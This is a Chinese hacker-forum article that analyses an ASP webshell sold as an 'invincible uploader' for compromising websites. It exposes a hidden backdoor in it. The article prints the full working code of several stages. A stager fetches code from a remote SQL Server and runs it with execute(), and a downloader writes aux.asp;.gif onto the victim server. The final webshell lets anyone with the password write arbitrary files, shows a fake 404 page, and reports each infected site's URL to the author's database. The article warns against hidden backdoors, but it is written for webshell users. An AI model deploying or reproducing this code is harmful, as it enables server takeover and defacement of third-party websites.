|  | 前言:先是到我们暗组论坛看到如下帖子《黑站必备-超强隐藏后门。ASP无敌上传器》,并有人回复说有个域名不知道干什么用的,由于好奇心就下载来看并有了下面的文章。 图1 帖子内容    不看不知道一看吓一跳,这脚本不但高级而且最后还有一手,留了一个后门!
 为什么说他高级?因为他用的一些技巧从来没见过,使用了SQL Server+Microsoft.XMLHTTP+404错误页面伪装,让代码可以远程动态获取和多次执行,如果使用者调用小马错误还返回一个200错误号的404错误页面囧!这样小黑以为刚刚上传的小马被杀了,这样也就给了他一个利用后门的机会。起码小黑不会帮他把这个小马删了,至于最后怎么正确调用请继续看往下看嘿。
 下面是作者提供的小马后门:   <%password="123456"        '这里123456换成您的密码,密码只能为英文或数字%><%'无%>
 <%'敌%>
 <%'上%>
 <%'传%>
 <%'器%>
 <%BY01="hmserver"%>
 <%BY02="8866"%>
 <%BY03="org"%>
 <%BYJH="."%>
 <%CODE="888"%>
 <%BYLJ1="provider=sqloledb;"%>
 <%BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";"%>
 <%BYLJ3="uid="&CODE&";"%>
 <%BYLJ4="pwd="&CODE&";"%>
 <%BYLJ5="database="&CODE&";"%>
 <%Set amconn=Server.CreateObject("ADODB.Connection")%>
 <%amconn.open BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5%>
 <%sqlam="select * from code"%>
 <%set rsam=amconn.execute(sqlam)%>
 <%amtxt=rsam("txt")%>
 <%amtxt=replace(amtxt,"amsql=""password""","amsql="""&password&"""")%>
 <%execute(amtxt)%>
 <%rsam.close%>
 <%set rsam=nothing%>
 <%amconn.close%>
 <%set amconn=nothing%>
   仔细看看上面已经有域名,也就是后面帖子为什么说有的原因了(太明文了)。判断是不是数据库操作我们只要看这个“ADODB.Connection”或 “select * from code”前者是创建一个ADO操作数据库的连接,后者则是操作数据库的SQL语句,那小黑就要问了,如何发现最后的秘密呢?下面我们有两种方法:1.利用抓包软件在服务器(执行ASP那端)上运行抓包看明文;2.自己通过SQL查询分析器连接过去执行SQL语句查询,如图2、3所示,连接帐号、密码、数据库都是888,查询分析器复制的内容不完整可能跟数据类型有关系,查询分析器不能完全显示,大家通过SQL企业管理器查看就完整了。如果大家觉得太麻烦或者没安装SQL Server完整版,那就用下面方法吧。如图4,找一款Sniffer嗅探软件进行数据包抓捕就可以看到所传输的代码,好处是移动方便完全绿色。
图2连接SQL服务器
 
  图3执行SQL语句
 
 
  图4抓到的数据包
 抓包的代码如下:复制内容到剪贴板代码:amsql="password"
 BY01="http"
 BY02="hmserver"
 BY03="8800"
 BY04="org"
 BYXG="/"
 BYJH="."
 BYMH=":"
 BYQZ="sql_"
 BYHZ="sc.txt"
 BYDK="888"
 BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ
 Set amxml = Server.CreateObject("MSXML2.ServerXMLHTTP")
 amxml.open "GET",BYURL,false
 amxml.send()
 amtxt=amxml.responseText
 amtxt=replace(amtxt,"amsc=""password""","amsc="""&password&"""")
 execute(amtxt)上面的代码没什么意思,就一个利用XMLHTTP的下载的方法。我们在继续跟找到sql_sc.txt的代码:复制内容到剪贴板代码:
 amsc="password"
 BYAM="http://hmserver.8800.org:888/hk_"
 Function GetUrl()
 ScriptAddress=CStr(Request.ServerVariables("SCRIPT_NAME"))
 Servername=CStr(Request.ServerVariables("Server_Name"))
 findfilename=right(ScriptAddress,len(ScriptAddress)-instrrev(ScriptAddress,"/"))
 GetUrl="http://"& Servername & ScriptAddress
 Geturl=replace(Geturl,findfilename,"")
 End Function
 Function GetBody(Url)
 Dim objXML
 On Error Resume Next
 Set objXML=CreateObject("Microsoft.XMLHTTP")
 With objXML
 .Open "Get", Url, False, "", ""
 .Send
 GetBody=.ResponseBody
 End With
 GetBody=BytesToBstr(GetBody,"GB2312")
 Set objXML=Nothing
 End Function
 Function BytesToBstr(strBody,CodeBase)
 dim objStream
 set objStream=Server.CreateObject("Adodb.Stream")
 objStream.Type=1
 objStream.Mode=3
 objStream.Open
 objStream.Write strBody
 objStream.Position=0
 objStream.Type=2
 objStream.Charset=CodeBase
 BytesToBstr=objStream.ReadText
 objStream.Close
 set objStream=nothing
 End Function
 Function WriteFile(StrContent,Foldername,fileExt,fname)
 dim myfos,TheFile,Filename,TheFolder,ThefileExt
 Set myfos=Server.CreateObject("Scripting.FileSystemObject")
 TheFolder ="./"
 ThefileExt=".txt"
 If Foldername<>"" Then TheFolder=Foldername
 If ThefileExt<>"" Then ThefileExt=fileExt
 TheFolder=Server.MapPath(TheFolder)
 If myfos.FolderExists(TheFolder)=False Then
 myfos.CreateFolder(TheFolder)
 End If
 If fname="" Then
 Filename =Replace(Cstr(time()),":",".")
 Else
 Filename=fname
 End If
 TheFile="\\.\"&TheFolder & "\" & Filename & ThefileExt
 set fs=Server.CreateObject("Scripting.FileSystemObject")
 IF fs.FileExists(TheFile) then
 response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>"
 Else
 Set ff=fs.CreateTextFile(TheFile)
 set ff=nothing
 response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>"
 END IF
 set f=fs.GetFile(TheFile)
 f.Attributes=0
 Set mytxt=myfos.OpenTextFile(TheFile,2,True)
 mytxt.Write StrContent
 f.Attributes=1+2+4
 If err.number<>0 Then
 WriteFile=0
 End If
 mytxt.close
 set f=nothing
 set fs=nothing
 set myfos=nothing
 set mytxt=nothing
 End Function
 aux=GetBody(BYAM&"asp.txt")
 aux=replace(aux,"amasp=""password""","amasp="""&amsc&"""")
 CALL WriteFile(aux,"",".gif","aux.asp;")
 scname=Request.ServerVariables("script_name")
 postion=InstrRev(scname,"/")+1
 scname=Mid(scname,postion)
 If InStr(scname,"?")>0 Then
 arrName=scname
 arrName=Split(arrName,"?")
 scname=arrName(0)
 End If
 s=Server.MapPath(scname)
 Set fso=CreateObject("Scripting.FileSystemObject")
 If fso.FileExists(s) Then
 fso.Deletefile(s)
 End If
 Set fso=Nothing这段就是写小马的核心部分了,操作大概意思是在通过XMLHTTP下载将最后的小马代码,保存到服务器上文件名为:aux.asp;.gif(不知道作者为什么要这样取名,如果他是        Win2000系统呢那不是执行不起来?),代码我就简单分析到这里,下面继续跟hk_asp.txt文件由于这代码跟抓包的一样也是XMLHTTP下载 “hk_aux.txt”,这里我就直接贴hk_aux.txt的代码了:复制内容到剪贴板代码:
 amaux="password"
 if request("password")=amaux then
 session(amaux)="ok"
 else
 session(amaux)="no"
 end if
 if session(amaux)="ok" then
 Response.write("<title>ASP无敌上传器</title>")
 on error resume next
 testfile=Request.form("N")
 msg=Request.form("M")
 set fs=server.CreateObject("scripting.filesystemobject")
 set thisfile=fs.OpenTextFile(testfile,8,True,0)
 thisfile.WriteLine(""&msg& "")
 thisfile.close
 set fs = nothing
 Response.write("<form method=""POST"" ACTION="""">")
 Response.write("<input type=""text"" size=""40"" name=""N"" value="&server.mappath("/")&"\新建文件名.asp>")
 Response.write("<input type=""submit"" name=""Send"" value=""无敌上传"" class=input><BR>")
 Response.write("<textarea name=M cols=50 rows=7 width=15></textarea>")
 Response.write("</form>")
 Function GetLocationURL()Dim Url
 Dim ServerPort,ServerName,ScriptName,QueryString
 ServerName = Request.ServerVariables("SERVER_NAME")
 ServerPort = Request.ServerVariables("SERVER_PORT")
 ScriptName = Request.ServerVariables("SCRIPT_NAME")
 QueryString = Request.ServerVariables("QUERY_STRING")
 Url="http://"&ServerName
 If ServerPort <> "80" Then Url = Url & ":" & ServerPort
 Url=Url&ScriptName
 If QueryString <>"" Then Url=Url&"?"& QueryString
 GetLocationURL=Url
 End Function
 geturl=LCASE(GetLocationURL())
 BY01="hmserver"
 BY02="8866"
 BY03="org"
 BYJH="."
 CODE="url"
 BYLJ1="Driver={SQL Server};"
 BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";"
 BYLJ3="uid="&CODE&";"
 BYLJ4="pwd="&CODE&";"
 BYLJ5="database="&CODE&";"
 set rs=server.CreateObject("adodb.recordset")
 conn=""&BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5&""
 sql="select * from url where url='"&geturl&"'"
 rs.open sql,conn,1,3
 if rs.bof and rs.eof then
 rs.addnew
 rs("url")=geturl
 rs.update
 rs.close
 conn.close
 set rs=nothing
 set conn=nothing
 end if
 Response.write "请记住完整安全地址,只有完整才能登陆<br>"&geturlresponse.end
 else
 Response.Write "<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN"" ""http://www.w3.org/TR/html4/strict.dtd"">"
 Response.Write "<HTML><HEAD><TITLE>无法找到该页</TITLE>"
 Response.Write "<META HTTP-EQUIV=""Content-Type"" Content=""text/html; charset=GB2312"">"
 Response.Write "<STYLE type=""text/css""> "
 Response.Write "  BODY { font: 9pt/12pt 宋体 }"
 Response.Write "  H1 { font: 12pt/15pt 宋体 }"
 Response.Write "  H2 { font: 9pt/12pt 宋体 }"
 Response.Write "  A:link { color: red }"
 Response.Write "  A:visited { color: maroon }"
 Response.Write "</STYLE>"
 Response.Write "</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>"
 Response.Write "<h1>无法找到该页</h1>"
 Response.Write "您正在搜索的页面可能已经删除、更名或暂时不可用。"
 Response.Write "<hr>"
 Response.Write "<p>请尝试以下操作:</p>"
 Response.Write "<ul>"
 Response.Write "<li>确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。</li>"
 Response.Write "<li>如果通过单击链接而到达了该网页,请与网站管理员联系,通知他们该链接的格式不正确。"
 Response.Write "</li>"
 Response.Write "<li>单击<a href=""javascript:history.back(1)"">后退</a>按钮尝试另一个链接。</li>"
 Response.Write "</ul>"
 Response.Write "<h2>HTTP 错误 404 - 文件或目录未找到。<br>Internet 信息服务 (IIS)</h2>"
 Response.Write "<hr>"
 Response.Write "<p>技术信息(为技术支持人员提供)</p>"
 Response.Write "<ul>"
 Response.Write "<li>转到 <a href=""http://go.microsoft.com/fwlink/?linkid=1986"">Microsoft 产品支持服务</a>并搜索包括“HTTP”和“404”的标题。</li>"
 Response.Write "<li>打开“IIS 帮助”(可在 IIS 管理器 (inetmgr) 中访问),然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。</li>"
 Response.Write "</ul>"
 Response.Write "</TD></TR></TABLE></BODY></HTML>"
 Response.end
 end if以上代码就是他小马的精华部分了,而隐藏的后门也暴露在其中。小马调用方法“aux.asp;.gif?password=123456”,如果密码错误就输出伪造的404错误页面,其实标记200的谁看不出来,骗骗小黑还行。而后门就放在Function GetLocationURL()函数里,其实就是通过SQL将该后门地址“上报”,我们只要用SQL查询分析器查就能把他收集的所有Webshell地址列出来(部分首页被挂马),如图5,如果你耐心将整个流程看完,发现过程也没什么技术含量主要是要有耐心,作者使用了3次XMLHTTP如果你耐心不够,使无法发现其后门所在!
   图5 所有收集的后门地址
 如果在看他ASP代码发现部分使用变量分段不易读的,可以用如下代码进行组合:
 复制内容到剪贴板
 代码:<%BY01="http"
 BY02="hmserver"
 BY03="8800"
 BY04="org"
 BYXG="/"
 BYJH="."
 BYMH=":"
 BYQZ="sql_"
 BYHZ="sc.txt"
 BYDK="888"
 BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ
 
 Response.Write(BYURL) '输出变量
 %>
后记:小马也是可以带后门的,请大家以后使用脚本木马要注意查后门,防止被利用导致网站被恶意挂马,那我们就成帮凶了!
 注:本文未投任何杂志社,如网络转载、参考内容编稿请注明出处暗组。
 
 |